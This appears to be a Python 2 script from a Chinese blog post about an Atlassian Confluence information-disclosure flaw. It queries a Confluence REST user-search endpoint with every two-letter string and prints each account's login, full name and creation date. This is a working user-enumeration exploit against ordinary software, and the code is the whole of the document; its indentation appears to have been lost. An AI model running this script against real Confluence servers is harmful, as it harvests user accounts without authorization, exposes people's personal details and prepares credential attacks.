#!/usr/bin/env python
import httplib, json, sys, re
if (re.search("^https://", sys.argv[1].lower()) == None):
httpconnection = httplib.HTTPConnection(re.split("^http://",sys.argv[1].lower())[1])
else:
httpconnection = httplib.HTTPSConnection(re.split("^https://",sys.argv[1].lower())[1])
for i in map(chr, range(97, 123)):
for j in map(chr, range(97, 123)):
httpconnection.request('GET','/rest/prototype/1/search/user.json?query=' + i + j)
results = json.loads(httpconnection.getresponse().read())
for k in range(0,results['totalSize']):
try:
username = results['result'][k]['username']
except:
username = None
try:
title = results['result'][k]['title']
except:
title = None
try:
date = results['result'][k]['createdDate']['friendly']
except:
date = None
if (username != None):
try:
print "login:%s - name:%s - creation_date:%s" % (username,title,date)
except:
pass
atlassian confluece 信息泄露漏洞
最新推荐文章于 2024-01-24 17:23:42 发布